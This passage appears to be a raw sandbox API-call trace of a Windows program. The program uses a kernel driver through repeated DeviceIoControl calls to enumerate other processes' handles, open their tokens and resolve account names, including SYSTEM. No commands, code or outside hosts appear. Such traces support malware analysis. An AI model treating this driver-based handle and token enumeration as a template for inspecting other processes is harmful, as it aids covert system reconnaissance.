PsReleaseProcessExitSynchronization () returned 0x2 [0104.646] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.646] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.646] ObfDereferenceObject (Object=0xfffffa8002f8d850) returned 0x1 [0104.646] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.647] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.647] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0104.647] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.647] PsAcquireProcessExitSynchronization () returned 0x0 [0104.647] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.647] ObReferenceObjectByHandle (in: Handle=0x9f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003590770, HandleInformation=0x0) returned 0x0 [0104.647] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.647] PsReleaseProcessExitSynchronization () returned 0x2 [0104.647] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.647] ObQueryNameString (in: Object=0xfffffa8003590770, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.647] ObfDereferenceObject (Object=0xfffffa8003590770) returned 0x11 [0104.647] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.647] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.647] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.647] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.647] PsAcquireProcessExitSynchronization () returned 0x0 [0104.647] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.647] ObReferenceObjectByHandle (in: Handle=0xa08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031413d0, HandleInformation=0x0) returned 0x0 [0104.647] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.647] PsReleaseProcessExitSynchronization () returned 0x2 [0104.647] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.647] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.647] ObfDereferenceObject (Object=0xfffffa80031413d0) returned 0x1 [0104.647] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.647] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.647] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.647] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.648] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.648] PsAcquireProcessExitSynchronization () returned 0x0 [0104.648] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.648] ObReferenceObjectByHandle (in: Handle=0xa34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800b938480, HandleInformation=0x0) returned 0x0 [0104.648] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.648] PsReleaseProcessExitSynchronization () returned 0x2 [0104.648] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.648] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.648] ObfDereferenceObject (Object=0xfffffa800b938480) returned 0x1 [0104.648] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.648] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.648] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.648] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.648] PsAcquireProcessExitSynchronization () returned 0x0 [0104.648] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.648] ObReferenceObjectByHandle (in: Handle=0xa9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003591be0, HandleInformation=0x0) returned 0x0 [0104.648] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.648] PsReleaseProcessExitSynchronization () returned 0x2 [0104.648] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.648] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.648] ObfDereferenceObject (Object=0xfffffa8003591be0) returned 0x1 [0104.648] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.648] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.648] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.648] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0104.648] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.648] PsAcquireProcessExitSynchronization () returned 0x0 [0104.648] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.648] ObReferenceObjectByHandle (in: Handle=0xabc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003097f20, HandleInformation=0x0) returned 0x0 [0104.648] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.648] PsReleaseProcessExitSynchronization () returned 0x2 [0104.648] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.648] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.649] ObfDereferenceObject (Object=0xfffffa8003097f20) returned 0x1 [0104.649] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.649] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.649] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0104.649] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.649] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8003235b30, HandleInformation=0x0) returned 0x0 [0104.649] ObOpenObjectByPointer (in: Object=0xfffffa8003235b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.649] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0104.649] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80036e5180 | out: TokenHandle=0xfffffa80036e5180*=0xc8) returned 0x0 [0104.649] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.649] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.649] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.649] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.650] CloseHandle (hObject=0xc8) returned 1 [0104.651] CloseHandle (hObject=0xc0) returned 1 [0104.651] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.651] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.651] PsAcquireProcessExitSynchronization () returned 0x0 [0104.651] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0) [0104.651] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f72400, HandleInformation=0x0) returned 0x0 [0104.651] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.651] PsReleaseProcessExitSynchronization () returned 0x2 [0104.651] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0104.651] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.651] ObfDereferenceObject (Object=0xfffffa8002f72400) returned 0x1 [0104.651] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.651] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.651] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.651] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.651] PsAcquireProcessExitSynchronization () returned 0x0 [0104.651] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0) [0104.651] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003277b70, HandleInformation=0x0) returned 0x0 [0104.651] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.651] PsReleaseProcessExitSynchronization () returned 0x2 [0104.651] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0104.651] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.651] ObfDereferenceObject (Object=0xfffffa8003277b70) returned 0x1 [0104.651] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.651] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.651] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.651] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.652] PsAcquireProcessExitSynchronization () returned 0x0 [0104.652] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0) [0104.652] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003478070, HandleInformation=0x0) returned 0x0 [0104.652] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.652] PsReleaseProcessExitSynchronization () returned 0x2 [0104.652] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0104.652] ObQueryNameString (in: Object=0xfffffa8003478070, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.652] ObfDereferenceObject (Object=0xfffffa8003478070) returned 0x1 [0104.652] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.652] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.652] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.652] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.652] PsAcquireProcessExitSynchronization () returned 0x0 [0104.652] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0) [0104.652] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.652] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.652] PsReleaseProcessExitSynchronization () returned 0x2 [0104.652] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0104.652] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.652] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.652] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.652] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.652] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.652] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.652] PsAcquireProcessExitSynchronization () returned 0x0 [0104.652] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0) [0104.652] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.652] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.652] PsReleaseProcessExitSynchronization () returned 0x2 [0104.652] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0104.652] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.652] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.652] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.653] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.653] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0104.653] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.653] PsAcquireProcessExitSynchronization () returned 0x0 [0104.653] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0) [0104.653] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034f0800, HandleInformation=0x0) returned 0x0 [0104.653] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.653] PsReleaseProcessExitSynchronization () returned 0x2 [0104.653] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0104.653] ObQueryNameString (in: Object=0xfffffa80018ee4d0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.653] ObfDereferenceObject (Object=0xfffffa80034f0800) returned 0x1 [0104.653] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.653] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.653] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0104.653] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.653] PsAcquireProcessExitSynchronization () returned 0x0 [0104.653] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0) [0104.653] ObReferenceObjectByHandle (in: Handle=0x2bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800326a070, HandleInformation=0x0) returned 0x0 [0104.653] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.653] PsReleaseProcessExitSynchronization () returned 0x2 [0104.653] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0104.653] ObQueryNameString (in: Object=0xfffffa800326a070, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.653] ObfDereferenceObject (Object=0xfffffa800326a070) returned 0x1 [0104.653] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.653] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.653] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4a8) returned 0xc0 [0104.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.654] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800eac7860, HandleInformation=0x0) returned 0x0 [0104.654] ObOpenObjectByPointer (in: Object=0xfffffa800eac7860, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.654] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x88 [0104.654] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80036e5180 | out: TokenHandle=0xfffffa80036e5180*=0xc8) returned 0x0 [0104.654] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.654] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.654] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.654] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.655] CloseHandle (hObject=0xc8) returned 1 [0104.655] CloseHandle (hObject=0xc0) returned 1 [0104.656] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.656] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.656] PsAcquireProcessExitSynchronization () returned 0x0 [0104.656] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff88004f095d0) [0104.656] ObReferenceObjectByHandle (in: 